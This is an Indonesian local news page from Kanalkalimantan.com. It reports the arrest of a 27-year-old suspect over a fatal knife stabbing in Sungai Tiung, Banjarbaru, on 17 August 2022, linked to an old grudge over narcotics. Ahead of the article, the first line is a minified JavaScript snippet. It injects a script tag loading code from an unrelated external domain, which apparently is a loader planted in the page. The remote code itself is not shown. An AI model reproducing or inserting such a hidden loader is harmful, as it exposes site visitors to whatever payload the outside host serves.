(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Terduga pelaku perkelahian berdarah bertepatan peringatan 17-an di Sungai Tiung, Kecamatan Cempaka, Kota Banjarbaru, akhirnya tertangkap di persembunyiannya.
Pelaku MB (27) alias Dali melakukan penganiayaan berat yang menyebabkan Ahmad Faisori (25) -sebelumnya ditulis M Anshori- dilarikan ke rumah sakit dan meninggal dunia akibat dua luka yang diterimanya.
Kapolsek Cempaka, Ipda Subroto Rindang Arie Setyawan melalui Kasi Humas Polsek Cempaka, Aipda Hendra Fahmi menyebutkan motif pelaku melakukan penusukan disebabkan dendam.
“Sekitar pukul 14.00 Wita, MB (27) melakukan penganiayaan berat terhadap Ahmad Faisori (25) dengan menggunakan sebilah senjata tajam jenis pisau badik,” sebut Kapolsek Cempaka.
Baca juga: ULM Kukuhkan 6.188 Mahasiswa Baru, Ada dari Papua hingga Filipina
Dilanjutkannya setelah melakukan aksi penusukan, Dali kabur melarikan diri. Sedangkan Ahmad Faishori dilarikan ke RS Idaman Kota Banjarbaru setelah menerima luka tusukan di bagian perut kiri dan sabetan tangan sebelah kiri. Ahmad Faishori dinyatakan meninggal dunia sekitar pukul 19.40 di RS Idaman pada Rabu (17/8/2022) malam.
“Kita berhasil mendeteksi keberadaan pelaku, pelarian pelaku dan berhasil mengamankan pelaku di persembunyiaannya, petugas langsung menyergap dan sekitar 9 jam pengejaran bisa langsung ditangkap,” bebernya.
Setelah berhasil ditangkap, polisi menjerat pelaku dengan Pasal 351 Ayat (3) KUHP.
Sebelumnya warga menemukan pemuda Ahmad Faisori (25) bersimbah darah di Jalan Mistar Cokrokusumo – Simpang Ujung Murung, belakang Alfamart RT 14, Kelurahan Sungai Tiung, Kecamatan Cempaka, Kota Banjarbaru, sekira pukul 14.00 Wita, Rabu (17/8/2022).
Korban menderita luka tusukan di bagian perut sebelah kiri dan tangan sebelah kiri. Korban mengalami luka lantaran sabetan senjata tajam badik oleh pelaku MB (27) alias Dali warga Jalan Ujung Murung, RT 010, RW 002, Kelurahan Sungai Tiung yang masih teman korban.
Berdasarkan keterangan dari pihak Polres Banjarbaru perkelahian diduga lantaran dendam lama antara pelaku dan korban terkait masalah narkotika.
Baca juga: Perkelahian Dua Pemuda di Cempaka saat 17-an, Anshori Akhirnya Meninggal Dunia
Sementara itu, Lurah Sungai Tiung, Aries menegaskan perkelahian berdarah di wilayahnya tak ada kaitannya dengan kegiatan peringatan 17-an
Lebih jauh Kepala Unit Humas RS Idaman Banjarbaru, Andri Hamidansyah mengatakan pasien sudah diresusitasi, namun pasien dinyatakan meninggal pukul 19.30 Wita, ketika datang pasian mengalami GCS E1 V2 M4 (tidak sepenuhnya sadar), nadi teraba lemah dan tensi 85 perpalpasi (menandakan syok).(Kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM - Maraknya ketidakpastian ekonomi global, masyarakat dituntut untuk jeli mencari alternatif investasi yang mampu… Read More
KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More
This website uses cookies.